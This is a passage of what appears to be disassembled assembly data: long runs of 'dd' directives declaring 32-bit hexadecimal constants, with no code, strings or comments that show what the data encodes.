0A6B4C43Ah dd 0A357520h, 9450E748h, 123C8218h, 14ACF258h, 0A342E958h dd 1C017C20h, 97C8EA33h, 895ECCDh, 8C23087h, 1C902CD4h dd 4707E4FCh, 5263E967h, 0B9484942h, 0A2138h, 6737D2DCh dd 0E84665A9h, 0E59C1109h, 0D478C6F2h, 0BC3889D0h, 84C9BD2h dd 44584960h, 34389CC1h, 686190BAh, 0E0245309h, 6CAEB7C9h dd 51CC3814h, 7EDD9C34h, 0C0684395h, 0D8A57BF4h, 50C8A84Ah dd 37C83DF6h, 6CCD01C7h, 920958A2h, 303C2C50h, 3044A531h dd 4815D558h, 49F31C8h, 8032E11Ch, 7691801Ch, 38B9E918h dd 14CA62D0h, 502EA43Ah, 0EA9278D8h, 2495722Ah, 11CFC20h dd 768BCF49h, 0E09BF609h, 0EB1ED489h, 48ABF7C8h, 14364D84h dd 0DBE6DC61h, 7C55881Dh, 90CEA907h, 1D176981h, 3554D88Ch dd 0A23AAE58h, 8C872943h, 98E4B262h, 0D098BC50h, 85F08C50h dd 308C44D0h, 9306B9Ch, 77181B32h, 89982EC9h, 377F7CB5h dd 86F0F749h, 92808ECh, 0A924E852h, 493A384Fh, 10B87C58h dd 0A421C887h, 3E607CE1h, 38A95898h, 0A8A0ED69h, 41EDC929h dd 0A134C88Ch, 0A614B018h, 0B0A77C88h, 47522428h, 7C784C6Ch dd 59C9431Ah, 698C23B1h, 9E009DCh, 0B41C454Ah, 9F91B0DFh dd 97CF3CC2h, 0EA7F8880h, 7B572961h, 0F7DD0044h, 44066C72h dd 96B200B0h, 3B8F9B21h, 0B6307F54h, 0A19CD403h, 4697002Bh dd 95F74EECh, 712AE4EDh, 0C1721C6Bh, 0D442F10Ah, 1E6018A0h dd 8E0A9082h, 0F9F9E17Eh, 8338D6F4h, 20121BD3h, 66FB11D2h dd 0D404BE81h, 2D036196h, 3614515Ah, 9E74A172h, 2470C5EFh dd 315F1A40h, 1383F86h, 70B5E77Ch, 64C16050h, 0B1819514h dd 0A8A60080h, 324CAA10h, 0A514233Fh, 0B8BCCF81h, 5880034Dh dd 10AD16C1h, 0D57414CAh, 3180A56h, 0EDEB93D8h, 51F900A0h dd 7274429Bh, 686CDA1h, 0F052B161h, 810A2894h, 40519F7Dh dd 0FF0CAAE0h, 0F40241BAh, 1E141B09h, 0C0285894h, 4DD3E662h dd 874181B2h, 1DE27429h, 1CC63441h, 3B531848h, 0B452039Ch dd 3B205E00h, 42B698F4h, 45FE3410h, 0AEA2747Dh, 0E960538h dd 9E0966h, 89D601A4h, 0D43AB43Bh, 2F341B24h, 182C438h dd 4D89642h, 384C6E35h, 0D721020Eh, 0F104769h, 52C51B5Eh dd 18C05C06h, 26F5608Dh, 0C3185CE9h, 0D973D50Ah, 9F80C0AFh dd 0FA2A048Fh, 0A0305B5h, 7042B38Ah, 28871268h, 68F9F331h dd 30881181h, 0E578DDCAh, 0A78F107Ch, 160A7E3Ch, 0F46A03B3h dd 311BAC50h, 4129A4C5h, 1D584CA2h, 6F27720Ah, 1880C405h dd 0AA79264Bh, 2A0715A1h, 54C0DCC5h, 0DE18C430h, 8F01E0C0h dd 534A07A2h, 0A60214D2h, 58094F59h, 50B3B0A6h, 167C508Eh dd 6C4090E8h, 47440AC1h, 0C0285926h, 0C39BB845h, 3E1F740h dd 99265DCEh, 0B07E486Ch, 0D9374D78h, 7D4918B8h, 35F4E381h dd 6C45D299h, 7FEB7185h, 186CCE14h, 19781B81h, 5B7415h dd 3B926F39h, 42B59A74h, 5387543Ah, 0F29F80C4h, 8A038373h dd 509C2008h, 0FE30BD64h, 0B3417176h, 541E0E6Dh, 50957063h dd 94451C0h, 61804218h, 8CDC487Ah, 60A09449h, 0FF264457h dd 4F84400Fh, 0ACDB42DBh, 0ED32A602h, 0D0A3598Eh, 90125CE9h dd 700925DBh, 4C8AA4h, 106BEA58h, 9C8C78Ah, 9C4214C1h dd 0F347041Ch, 90DFA086h, 0A2A6C784h, 12248A09h, 0B55C96A3h dd 85EFF761h, 29E68159h, 0AAFCCAC0h, 0DBF43034h, 271CB410h dd 0E41E0898h, 0F3093C0Fh, 77488720h, 241218ACh, 58CC4305h dd 8C37B334h, 0E0D691D1h, 6B541850h, 81A0C095h, 62375498h dd 0E2C36842h, 0C51EA552h, 8597D407h, 86363453h, 4AA03060h dd 0C9F82D70h, 22D3CA0Fh, 8CF946A2h, 794B26E8h, 0C80D0A60h dd 0CE9F09C4h, 863C486h, 0C60E22F0h, 3DC46AC9h, 0D0DC8A06h dd 8A56310h, 6804BBEAh, 1E771274h, 9D3EE0CBh, 98BEC515h dd 28E54108h, 833C570Eh, 0C1759834h, 80807014h, 0CA0289D4h dd 60B0E20Ah, 1EEF5401h, 388CB915h, 0AD815463h, 50A9665Dh dd 2EBC6198h, 0C8C550CAh, 0A9609C9Bh, 788C476Fh, 0C5083078h dd 0ADE8BC62h, 0B05843ABh, 482AC9AAh, 591DD0DBh, 70F0249Ah dd 583090ADh, 3501D1A8h, 283471A7h, 28C84F21h, 3F4376Eh dd 0EAA30B45h, 0C8469054h dd 0CBDB0424h, 0B490682Fh, 0C535721h, 2B99D3E9h, 0A740EFC0h dd 584960D8h, 743C60BCh, 70B61F31h, 0AB0257B8h, 0C7412C62h dd 0EB08059h, 1AD451E0h, 2494903Dh, 71CE476h, 0C63B2CC7h dd 947E500Ch, 2B1094A8h, 1DBF30CFh, 5F8A133Eh, 0A375200Bh dd 357555Ch, 4561B440h, 11126C34h, 1C055B38h, 38C1845Ch dd 40B859F3h, 968F2A6h, 0A006138Dh, 8F3309C9h, 98A684Ch dd 0F1E1CA10h, 87EF2404h, 0DE6EC090h, 166EB445h, 95E8C50h dd 0E2FCA306h, 343040E3h, 0A84951A7h, 508C4FD9h, 218070EBh dd 7F103B48h, 29B408C3h, 0D8201252h, 7374039Fh, 94C31E5Bh dd 6D500873h, 0F615480h, 0FF3E3408h, 48D80020h, 4A12A028h dd 1BA80331h, 86A13589h, 6091E374h, 0A6308D59h, 0BA311075h dd 23021087h, 2629C335h, 89D1C2A7h, 3C5F3100h, 0D8D550F4h dd 0CCC05014h, 5419C074h, 0B43524A0h, 86505A6Eh, 615870EFh dd 6AF4708Bh, 26F0896Eh, 0FDC808C1h, 48B40A3Ah, 3C0AD0D4h dd 2118B8BAh, 0A168AA39h, 6C219AD0h, 6604FFE0h, 10EF4843h dd 20CA8A7Ah, 340AF066h, 13CD886h, 4AA307BCh, 90422479h dd 150C687Eh, 0F980CA6Ah, 1448BDF4h, 0CBD7D40Ch, 0D2609D50h dd 0A308B080h, 8222242Ah, 355C013Ch, 30855915h, 0E70E4A14h dd 606AA30Fh, 0D7143F3Dh, 5824943Bh, 6D08EE1Dh, 12B28ADCh dd 0B97002AAh, 0A4C0573Ch, 0A4A04D01h, 0D1F56113h, 0A077C7E3h dd 1940E548h, 88A0E4A1h, 72F1A421h, 2514E841h, 945EEF11h dd 7C80AE20h, 40CA48B0h, 74068467h, 50E87A96h, 31948050h dd 37106D25h, 0B1488976h, 0A54C0675h, 0C82F6311h, 18199EF4h dd 0D4700D94h, 0C4552EE5h, 31C63C46h, 2CAF2820h, 96B433D4h dd 1130CF58h, 6114A02Fh, 6F08C976h, 91FD3424h, 20734604h dd 30925F10h, 1234B94Ch, 241D2E34h, 5418E23Ah, 38444962h dd 0C3BC7C34h, 6E46B440h, 0BBE59018h, 90711BF8h, 18276274h dd 2CC094B4h, 0C8623A54h, 43CD6620h, 20858410h, 0C20C814h dd 3849E194h, 4280A26Fh, 0A41448E4h, 0FCA0A1CCh, 0A472D821h dd 21FF092h, 19B4C459h, 6BB6A981h, 0A78B8A4h, 0E01C42D9h dd 492EB496h, 5481DF40h, 6F9CF0C7h, 4B56886Fh, 1C0B7D54h dd 43E6DC16h, 8E86AD16h, 0B452A84Ah, 38B1B409h, 17C2F83Ch dd 4B3ED138h, 0A802F37Ch, 0EC60A554h, 3890B634h, 0B89AFEE8h dd 2E57EB20h, 13E47691h, 54BC025Dh, 0E0844BB9h, 0D4F4811Eh dd 945020E7h, 1BEC894Dh, 0F3C02C9Bh, 15180E1Ch, 0A48A4302h dd 0C2BC92A4h, 88605FE4h, 67661F34h, 10100AE8h, 196D2354h dd 0DA4875A1h, 0C74C441h, 88308034h, 4380491Ch, 49DCB0ECh dd 6F14446Ah, 0DC19E4D8h, 0D2DEE02Ch, 0CA059D07h, 312B8083h dd 0D4B03960h, 0C5D0440Ah, 1C4012CCh, 4530B128h, 0D510912Fh dd 934C6C24h, 28784430h, 0F9D083CCh, 6CB4080Ch, 3C933052h dd 3A1D34C5h, 0BD5407C3h, 0C39E8FADh, 8D33E818h, 11530816h dd 2ED48003h, 0B993E11Dh, 56D8198Bh, 84B19404h, 0D3B4C420h dd 813B49Ch, 0CC495193h, 0C19C24AEh, 69547481h, 84D1F861h dd 28B4108Bh, 59749C80h, 94A14303h, 29BC4173h, 39B030DCh dd 341FA9B8h, 1BC06E3h, 0AC9EFA4h, 6830F7E8h, 94E74886h dd 31DC6328h, 0D43849F4h, 94108F4Ch, 7404D69Ch, 84C253BAh dd 8AA4E05Fh, 1F1A7867h, 61CB579h, 82455F9h, 1D80987Ch dd 498CB0C0h, 7F28A4CEh, 0B7F418D8h, 624CB867h, 8194A0CBh dd 639234BCh, 57BC20h, 0D70AA21Fh, 2C79264Ah, 254C4E48h dd 163C8089h, 7FB43B23h, 0C508D204h, 37842CB8h, 0FD82090Fh dd 0A809B79Dh, 0DFA83859h, 0EBBC3A92h, 5D480140h, 0C9F41290h dd 8274CC00h, 0ACAAA30Eh, 0EE0C042Ch, 639B9A9h, 14384A21h dd 0A4E92D94h, 3DC0182Eh, 0CBDA1193h, 0F0550298h, 0C97DF345h dd 10215B0Ch, 0AA9E460h, 52DCAC9h, 877704D4h, 8080B23Bh dd 0D28D1A69h, 49409AA3h, 1612186Fh, 614002A8h, 0C0611E7Fh dd 0B0443CC8h, 7BBBB243h, 0AA95882Ah, 0C0A03452h, 2724D9D8h dd 50389A74h, 5C948C85h, 0AA1278DAh, 0CCF01F83h, 0C668DC13h dd 0CCA0E090h, 0D312E81Ah, 74091E7Ah, 0B37803F8h, 33A071F3h dd 0DA70ADE2h, 72332005h, 2CC23521h, 64B040DBh, 9CE8A1BEh dd 0B2A3C2Ch, 2FB912ACh, 0FC670915h, 10B41006h, 209508A1h dd 0F4B27028h, 134C7449h, 240541BDh, 0D08E42F0h, 0BC8EC21Eh dd 4124A0A0h, 0EE98F822h, 4817F3C0h, 632C9C83h, 0F2253E20h dd 8F50806h, 0C14F84B9h, 6743CC7Eh, 0F3615084h, 823CD573h dd 0E4948AC8h, 5140CF0Fh, 0C094B23Ch, 2C7194C4h, 0C3FA5BC4h dd 21581367h, 1318161Bh, 18CC2CCh, 66A1C40h, 38A5C498h dd 63C56881h, 0F2F6C7h, 0B9151980h, 48FB115h, 84EEC04Ch dd 806A1077h, 0D4A0B0E1h, 47240213h, 78581451h, 7F831237h dd 81880482h, 7784D2E3h, 0E068E888h, 9FAF601Bh, 0A100BC9Eh dd 0F4349E65h, 94C64C84h, 5305D26h, 6C39D2Ah, 0D84A189Ch dd 52E68212h, 9FCC682Dh, 23E5AF4h, 1FC941F0h, 1180F461h dd 0C860B745h, 12409429h, 17901E62h, 0A30C4406h, 0C9348186h dd 0D9A2E3C7h, 614C4C50h, 98141698h, 0A0C401Dh, 9ABC8857h dd 98BA6398h, 40FE1254h, 0B4106961h, 8C21529Bh, 0A2540986h dd 0CD20184Bh, 30066048h, 0A3104C14h, 0A74EA73h, 0FC9027E4h dd 609426h, 4ED0689h, 0CCD33738h, 0D4C1877Dh, 488D7881h dd 0C1086A4Ch, 68CE0167h, 1E25E600h, 866C9425h, 3080400h dd 0C9FDE354h, 1131EBEAh, 0FCAA8007h, 0B0C4F074h, 0D4A300Ch dd 15627468h, 0A2AA307h, 635CA01h, 0C10C881Fh, 0A0F4B016h dd 0CB14B488h, 0B08976A1h, 0C2D1A084h, 0C0701508h, 8B10F96Fh dd 94AC83B9h, 2A500185h, 6AA30DF2h, 0AA1086B7h, 9012C8h dd 2AA2FAE8h, 0D91536E2h, 88113831h, 5C60FE35h, 58DD6695h dd 24F04048h, 543860FBh, 0C3D87262h, 6146130h, 3ACA2460h dd 0EA09227Dh, 24286F1Dh, 0D7540690h, 0CC28C093h, 4763E865h dd 28DB5B41h, 16981FD0h, 0C3D196Ah, 70094C60h, 90479480h dd 0E5FCF988h, 60749152h, 55D5FACFh, 2C610340h, 7008BE8Ah dd 2F107A54h, 1098E4Fh, 0DC9CBDAFh, 3F9FF60Ch, 272151B1h dd 0C816722Eh, 3D080604h, 0C1034023h, 0F8226E17h, 4188C1Dh dd 13352DCBh, 0A2F89276h, 641E8049h, 0B0A89120h, 260C4DC3h dd 84E6739h, 0FCB6DDh, 741E6EA8h, 58B08921h, 487C2B3Eh dd 6EB9245Ch, 822F7B09h, 944316C0h, 0B05C0958h, 0E02E6619h dd 0C03F6364h, 1E3C7E9Ch, 0C4E5B426h, 807C193Ah, 488B1BC0h dd 14A4F6D4h, 14BC805Dh, 0B8C963D6h, 45200B78h, 87600190h dd 648B4D95h, 0E5636A68h, 10509B38h, 313DCB70h, 3F34F815h dd 49545070h, 0C426086Ch, 0EDAA04B4h, 329480D2h, 70F003B3h dd 3C50515Ch, 7C2C5EA4h, 6F3213B5h, 41904280h, 0F4674261h dd 0A399302h, 7C6122C7h, 52BFC4A2h, 20AC4CE1h, 0B52494B0h dd 0A309F44Ch, 0CE8802F0h, 4298609Ch, 586C9826h, 6A04385Eh dd 8B3B2025h, 0C1791D24h, 227E6D89h, 9C803438h, 0AFEE0BCCh dd 4236248h, 900C5521h, 70F23874h, 88D050DDh, 52E4269Ch dd 9982858h, 1E7B784Ah, 39047416h, 0DF3C1877h, 0C0CEC104h dd 0F7B6B4BCh, 47E048C5h, 3682F4F3h, 0F0F20334h, 792C8B4Ch dd 54407363h, 0EA900B04h, 28E57D01h, 7747F187h, 78D2C9D5h dd 0EA1098A6h, 308E68Ah dd 61D46201h, 0A780F175h, 0B00ABDFh, 8752BB27h, 28700A24h dd 3BFB197Eh, 600649C0h, 307801D4h, 70E12720h, 3CC4647h dd 0B7CEA95Bh, 216000F4h, 0C70133FAh, 30C18938h, 3B60E692h dd 8941C58h, 0F5DF6515h, 51C108h, 5F4920E7h, 4CA6BC1Bh dd 0A543A004h, 0E10069C0h, 0A7020FCDh, 5B301F61h, 74183C2Fh dd 0C883690Fh, 2B00F65Eh, 0A701322Ah, 0B8A00BBh, 1299A567h dd 0C0741B47h, 0CE528774h, 413C1D20h, 7063F38Ch, 30C705A1h dd 30440701h, 0CA230B34h, 41998DFFh, 71E06067h, 0A7BF2E0h dd 3AE48110h, 0FF8F5080h, 2FDCCA18h, 15CB61A0h, 14E70B7Ch dd 29F05380h, 1806006h, 851773F6h, 3C46489Dh, 1D886756h dd 692D9121h, 6957608Ch, 5240AD11h, 43E303C1h, 4489DB60h dd 0FB670812h, 82E100Dh, 1537781Ch, 0DC9E227Ch, 40F0E118h dd 0FE70261Bh, 83124CAEh, 5F1893CBh, 62F28198h, 0A45A6838h dd 0D002BC9Ch, 53D34605h, 0E71005Fh, 48FC2702h, 8E49BBF2h dd 6885C00Ch, 51FA2559h, 2819C0CCh, 334E0BF8h, 61200350h dd 70208C0h, 0FE811F60h, 6E470143h, 0A283F038h, 1CB16019h dd 17088A31h, 0D412E439h, 4FC70003h, 74C04653h, 0E2A8EF0Eh dd 0C8CD98Ah, 0EE59DC01h, 0A18CFC50h, 12841848h, 4003B1A7h dd 0A10C9108h, 588DA2C0h, 0C5205005h, 60C5F3DFh, 2B8A7474h dd 8EB42848h, 1888F94Ch, 0EE9BA88Ah, 0A1636748h, 0FBF63Eh dd 9029ADC1h, 300D6560h, 0F094287Bh, 2BC67C09h, 0DAB02191h dd 0F82201F8h, 0FF2517CEh, 81B84565h, 87D005D2h, 2CA01257h dd 0E53DBE28h, 3015B079h, 91D944A1h, 5802C0D8h, 4F401785h dd 473B3A41h, 4CB01CCCh, 724C0F6h, 0C8899C43h, 0B0189C83h dd 6D7224BBh, 0D1F6BBCCh, 0C4C07C78h, 6D263BFAh, 0E12150C6h dd 83A88528h, 826E9F95h, 0A6C1290Eh, 43FBA2D7h, 0FA0B303Ch dd 7CEC9415h, 783629A4h, 0DEA1BB60h, 13DD7F8Dh, 3CCFE7A9h dd 0DA132C7Ch, 6441B839h, 603D5CA1h, 13B13C5Ch, 4065083Ah dd 8D6F4114h, 69025AE4h, 0BA070BA7h, 0E94440C8h, 61749065h dd 7B6708C2h, 0C447C264h, 0DFA8A05h, 0D761C847h, 41C1C09h dd 57464C56h, 6150D051h, 6656F568h, 829A0278h, 0BFCAEEh dd 0F56D3F07h, 80F04652h, 8B3E4872h, 0FC311FEBh, 0F000FC50h dd 5AA01CF1h, 4203A354h, 34671F79h, 3075F832h, 1D7097CFh dd 8D71E50Ah, 0A540142Eh, 294D39h, 0B6CF31BCh, 0B1E67263h dd 532B487Dh, 11012CEDh, 8FDDD309h, 382FD600h, 0C931E600h dd 931BA832h, 0F418A42Ch, 19A7004Bh, 76CF3203h, 0F300EAF9h dd 0E7A01391h, 8C9EE231h, 46E15006h, 0A90E559h, 0F3EBED96h dd 924E05Ch, 0BE40CB4Ch, 84470036h, 139271F4h, 8B530DA8h dd 0DC0C7618h, 0B8728A5Fh, 832A0556h, 61BC91F4h, 0E5499D40h dd 0F6B08106h, 4D53940Dh, 384B8EAh, 0BE91229Fh, 0F02B167Eh dd 678168F3h, 1A912288h, 0CDB65082h, 0D896F3E3h, 10B0443Bh dd 0D6157DECh, 87C0A4A7h, 1C0FA2D5h, 69104660h, 62B1E557h dd 76C094Dh, 0C14DC8Fh, 0EC4608D9h, 0F1572E8Ah, 440B40Ch dd 8226518Fh, 0FA5F8090h, 4A6BA600h, 46626F2Bh, 0AEDA006Ch dd 0BC1CA949h, 4F0CD94Eh, 197CF356h, 8344235h, 846E06D3h dd 52BD0B41h, 3B0C0A10h, 0BB2239h, 6F695C60h, 1A071159h dd 7B12DE01h, 0AB84A122h, 0DB1B8315h, 9E6D1910h, 2314B85h dd 0A4A2AC18h, 0F731B324h, 421F086Bh, 7566141Dh, 16BB100Ch dd 2171B184h, 500837E7h, 0A3308550h, 0DD433Eh, 0C5E13C97h dd 7BCF24BCh, 100B0368h, 0AF58DBF2h, 4600188Eh, 63E1A842h dd 201CF373h, 0C4000995h, 990C7DC7h, 30D9F13h, 0D6CAA512h dd 20001EF3h, 5C08DBE3h, 192027h, 374F8ECBh, 569E9C35h dd 52FCE500h, 7D910F88h, 6CD90064h, 0F44918F5h, 1F0329A5h dd 0D6970989h, 0CA9FA087h, 0A3C200D5h, 0B6464A22h, 8A0191FEh dd 28F09EC3h, 4C481A94h, 0EF7DEE86h, 120010BAh, 6F5C1FCh dd 0AC28217Bh, 8700907Eh, 79327F75h, 73F778h, 0E4C61BA9h dd 0B981E5B0h, 0DD036200h, 13E8751Eh, 90FE0088h, 85CDE468h dd 822BD261h, 0E3081C99h, 0EC0E78B7h, 6B5DB000h, 60C77EAh dd 0B38B029Bh, 60881101h, 0A100C095h, 0F8C6CA08h, 7DCE0077h dd 0AE0DEA84h, 29C0B201h, 0C0A7908Ah, 38CD035Eh, 78276CD6h dd 0BC8110F8h, 0AFFC1401h, 0A026C2A5h, 0BE5C4Ch, 0F9718D8Ch dd 9D5BA53Dh, 82DD8300h, 639F5A6Fh, 66DF0029h, 588650DBh dd 0BB1DE6F9h, 0F4002B97h, 0A2275542h, 0C7C100F0h, 74322EBCh dd 0CC2412F9h, 8B8010BBh, 7BF1980Bh, 0A70D33B0h, 73E0B228h dd 8F01E847h, 48B57D04h, 0CDF33D4Eh, 1511583Ah, 297BAC80h dd 404C9852h, 954453B8h, 60E8A500h, 89F59730h, 0FF1B2410h dd 1680BF6Ch, 0FD42DB19h, 0C4120AE7h, 3C4063ECh, 0DC364A11h dd 0D90928F0h, 3FD4F618h, 1C7C60D7h, 9E5EE2D1h, 6A9401BEh dd 260BCFDCh, 0C5D91074h, 1F0F80E8h, 606421DDh, 0B3FCA9BFh dd 9C3A1E2Dh, 0CE4DEh, 0C8F223A4h, 0E0C783D6h, 0F7968B24h dd 48DA1DB8h, 42958303h, 2000BF8Ah, 560CE6Bh, 29F8EF26h dd 74AC9704h, 753A4006h, 4769EF9h, 530773F0h, 12948A25h dd 0D428B094h, 0CBE21585h, 4CFC446Ah, 84C6B228h, 17728900h dd 2004952Bh, 4784C97h, 0A598BDA3h, 4C005E0Bh, 0FBF43F45h dd 75A9BB97h, 0B97F24E2h, 0D54976E8h, 588A0DCh, 8D180019h dd 0DB8429FFh, 0ECF95CA7h, 84AE7AF8h, 458DE901h, 59BEE5EBh dd 0C37BA040h, 6ADF07BBh, 55A3641Ah, 9FF1C02Ah, 0B800B0BFh dd 3C5E3BEFh, 48A0DB80h, 0BB0638FEh, 812AC301h, 515BC401h dd 0D40EA3B7h, 0EE64FCE8h, 0D06554B4h, 26E74205h, 5E308066h dd 98A8286h, 93F3C4B7h, 0FC616415h, 833727Dh, 11036500h dd 155C237h, 0C7AE7100h, 911719BBh, 95D7D1Fh, 0E082ABA5h dd 0D2E00C15h, 0C19EF0CDh, 0A62799D8h, 0DA0424A8h, 0A24E9C0Eh dd 65838ED6h, 0FC2B05A5h, 46E8AA80h, 0AB0A97FFh, 0F4A9F17Bh dd 69B33740h, 5CD90A67h, 588053FCh, 6F823B47h, 15596228h dd 88E89C09h, 0C868890h, 0D442FF19h, 6206CB21h, 0BBEC3C3Dh dd 0DAE50E11h, 0A886742h, 1B138C00h, 0C51108h, 920C3790h dd 0C0673416h, 14409378h, 0F0BBEC45h, 0BAE83E26h, 0F5882B01h dd 7E6F49C2h, 2CDBE0h, 847CBCE3h, 159054ADh, 0F25DDA1Ch dd 76E6C100h, 0F8F17EEh, 0CA7D672Bh, 0F6F58520h, 0D2009DEAh dd 0CDA18601h, 60356E34h, 0C7884802h, 610CB328h, 902C33A4h dd 150E00E6h, 2A92CA82h, 0C33D298Dh, 19E40FFEh, 3469E0D6h dd 3B881A1h, 7E9D5F1Bh, 0B803840Bh, 0F9306F4Ch, 495E9005h dd 0F6A1CE27h, 7BD88CC0h, 0E8020F43h, 86335DCh, 2B80A096h dd 0E78606h, 0B97A4E76h, 447DBD29h, 61F390C3h, 3F287E80h dd 94B07384h, 54FFE8E0h, 0D37418C0h, 0C05EFB80h, 50DEA598h dd 2701889Fh, 5A7DD1EFh, 0A0809C81h, 0A2AA2A2Bh, 88C057B1h dd 86CE5F8Ah, 1E68CA29h, 88938780h, 0FEB5B014h, 9A50E416h dd 4AF2B0Ch, 46EFF0h, 0CC327121h, 2E11D403h, 0D2238D00h dd 0E2B02CBBh, 0C7D30382h, 0AF3B839Bh, 0E0D51BA1h, 307C1ADAh dd 0C682E519h, 9CF2D619h, 25583404h, 0F0147948h, 133EA852h dd 8636009Ch, 19859853h, 69E501E6h, 91942F7Fh, 37FAF034h dd 0BF190261h, 0E4107814h, 1F7B0AAh, 184133ABh, 244223C4h dd 0CD18A2B3h, 0C70C8482h dd 0B2B54F30h, 301B49CFh, 0B3CB3D83h, 846F1921h, 4ABEC717h dd 40A454E3h, 9F212420h, 0CD780892h, 5445B745h, 2402D381h dd 3E92D64Bh, 60125228h, 18D54F28h, 0C30C6354h, 68183250h dd 0CA971186h, 90372993h, 49E1CE80h, 46DE3h, 83C8622Eh dd 0ED7ABC30h, 0FB194C60h, 8095F1D6h, 30C0E026h, 4A911267h dd 2DC73EF3h, 0F03E631Dh, 63BC119h, 0F309662h, 0CB6900E4h dd 0ED3E9A03h, 1A2601D3h, 5787E74Ch, 0F3A67E4h, 7AD8F9CEh dd 9547F1E0h, 0A877B45Bh, 0BCFAAA00h, 6C422725h, 86170036h dd 4C11129Ah, 9200F8E5h, 0EE1C84E2h, 75F1395h, 0E3BDC93Eh dd 0EBEC1E9Ch, 1D0061B8h, 7FDF5708h, 0BA89B3h, 748C51E5h dd 58300CD5h, 6D60B700h, 0CE87C88Ah, 1E0303F1h, 4849C47Dh dd 0A61CB6E8h, 93D75701h, 73A68C2h, 874060h, 2C25C802h dd 0E7ABDE53h, 7E441CA5h, 6300D4A8h, 0A5391B21h, 0B100B756h dd 22B58ADh, 347A308Fh, 8050A16Dh, 1CF84632h, 835558C8h dd 0F6B2DD42h, 25281EE0h, 57839602h, 0E062584Ah, 6770D379h dd 877AD82Ah, 25953015h, 0D00003F0h, 0BA97C2E2h, 0A3D48EB8h dd 470EE014h, 342E52F8h, 677A8107h, 0DF808ED1h, 612BAE76h dd 0A486D500h, 0F7DAF060h, 8AE30005h, 2EDFA61Eh, 14002010h dd 0E485A1Bh, 51AA478h, 67EB63A3h, 0AD59B035h, 9A9B0A00h dd 0D70838C1h, 553100D8h, 34F43EF2h, 40023013h, 3BF809C2h dd 7CF7809Fh, 9217DBh, 0F95E8BF4h, 1404FD7Fh, 62E8B000h dd 0C4D72607h, 0D80C2E9h, 9161C11h, 0D139C060h, 2F131101h dd 9A9D401Ch, 0E30033F6h, 4937CA41h, 7EF5AEBh, 0A17C444h dd 0F115823Eh, 140528C0h, 1D60C3F0h, 0F7739B18h, 0A081608Bh dd 2C7F256Eh, 0C88D21Fh, 0E7E0DF1Bh, 0FDCA3290h, 0C2810723h dd 0C3845105h, 0D931E1BAh, 2091182Ch, 8513E200h, 0A8E4EB0Fh dd 221D867Dh, 96922B31h, 34548084h, 0F82BD78Ah, 9B3D1A00h dd 87118F0Ch, 0A43006E2h, 0A80EA2C9h, 0D7932A06h, 0C7C0845Ah dd 10C65598h, 0E3B64A9Ch, 0F4E74F00h, 2E14EBF0h, 63F741Fh dd 3D46DE40h, 541A18F6h, 8093ABh, 3A941688h, 0B9C20385h dd 0AFBF6EAEh, 84A384B2h, 4000E5DCh, 0FAC59C5Ah, 0F2CAD3h dd 476B0844h, 9D6542C8h, 7D595300h, 0BF611ABDh, 4ED30252h dd 8D74E19Bh, 7E448080h, 0E5E83997h, 55789560h, 1AFCF62h dd 0C4F69D4Dh, 0C4BA83B7h, 521446FFh, 225073ABh, 722EA7Eh dd 4B1AC745h, 0AEEA30B6h, 32F8E7C0h, 0DE36F500h, 5535CD7h dd 0C2CE030Ah, 9B3CE041h, 412513A9h, 41DCE294h, 8CB05DD0h dd 0B17742E9h, 2D710AF5h, 0E730D08Dh, 9709F011h, 5486C40Fh dd 24EBC006h, 841C856Ch, 90EAD1C7h, 388FDD48h, 0A04FA00h dd 37D290E0h, 0CB6A0110h, 0C298F5F1h, 9AA08076h, 1F6B5C4h dd 0C3BB0029h, 662F1B51h, 543008C2h, 44027052h, 420F0188h dd 615E6F99h, 0EC70217Fh, 88C173A0h, 30BDC156h, 880351B9h dd 2F3CAF5Ah, 9D89A3h, 0CAC64BA0h, 83804A96h, 47BD02F9h dd 6DEDDE8Ch, 0C3151460h, 0C8B2D200h, 7E1D1C63h, 58D900FEh dd 0EA619038h, 6D83211h, 6008BFF8h, 1A8DA148h, 0F9C1CC53h dd 716DFAD6h, 7129853Ah, 0F0B01950h, 1A2A2C63h, 847148BEh dd 0C37B2100h, 63C975A6h, 1ED3006Ch, 749E5530h, 0A024A9EDh dd 48804C81h, 892969C1h, 4C270032h, 0DAAB8FB5h, 4724FBBAh dd 0C4818C07h, 52A5B3A3h, 4612FE4h, 7B044A35h, 11909084h dd 5C30B717h, 9D723015h, 42A8923Dh, 5FDA03DDh, 606DF46Ah dd 0EDD9B8E8h, 18034413h, 76E6C708h, 62F800C8h, 0A577CC06h dd 189A3366h, 207D3B18h, 0E0DA21h, 73C3E66Fh, 90DD19B7h dd 971D8871h, 31718F5Fh, 0DD103765h, 5C60BDFCh, 41D4AB78h dd 9A16246Bh, 0F2E68834h, 0C62600BFh, 7E587B56h, 0D0E95446h dd 508D00E2h, 65CB78EAh, 6B3024D6h, 8E26417Fh, 6D5F37A9h dd 0AA3683A9h, 4888F6C1h, 9B433D08h, 9CDF487Fh, 0FA00523Dh dd 563315Dh, 7C0A995Eh, 0BC25C18Bh, 7A697280h, 757D36h dd 0E45C62D3h, 31884E77h, 0A72D6B00h, 940D1D0Eh, 6E8A36FDh dd 48868B1h, 8813D680h, 0D45FC7DDh, 0B2B31C00h, 984C20A8h dd 0AD6E1074h, 0FC097DE8h, 209B7162h, 0F697A180h, 0B7503BAAh dd 1CF15B87h, 7C20A9F5h, 0A07F8CFBh, 34CE93Bh, 0C84D17D0h dd 88D9D05Fh, 204849E1h, 105045C4h, 530F10C8h, 6AE2F862h dd 0D002C892h, 0AD7CDAFAh, 3A8D3202h, 0BBE4A026h, 0C06ECA47h dd 345EF6D9h, 9618FB7Bh, 0D1510EE7h, 331D00A3h, 64258D51h dd 0EC33E3D4h, 0F0991032h, 7CB37C3Dh, 14F5147Fh, 72853030h dd 5FD44510h, 82480019h, 446454F9h, 0FE4F6502h, 0C766E2h dd 9E6137BFh, 40E6C226h, 45633280h, 13F679Fh, 0B799AB98h dd 0F0D9A169h, 914CA62Eh, 0D19E020Ch, 0A0F4B0C2h, 0B4BA49D8h dd 41CB028Ch, 0F8524D68h, 0E040F062h, 6B90D5C8h, 35E4A05Ch dd 91043027h, 20807F8Eh, 3F07B95Bh, 0BCBD5657h, 119E9497h dd 52A004E1h, 0E50045A1h, 32BA41F0h, 79B18B03h, 208360CCh dd 34053E71h, 6E26A901h, 6DD4D14Eh, 818B80D0h, 8FD500D7h dd 618701FCh, 6ECF43A8h, 0E4A9C57Ch, 0DD008951h, 0BCECA385h dd 0EB5550h, 0CF5AE7C7h, 0F3D3F5F7h, 18EDE848h, 1A99D076h dd 0B80500BBh, 2D0781A6h, 0D23E8778h, 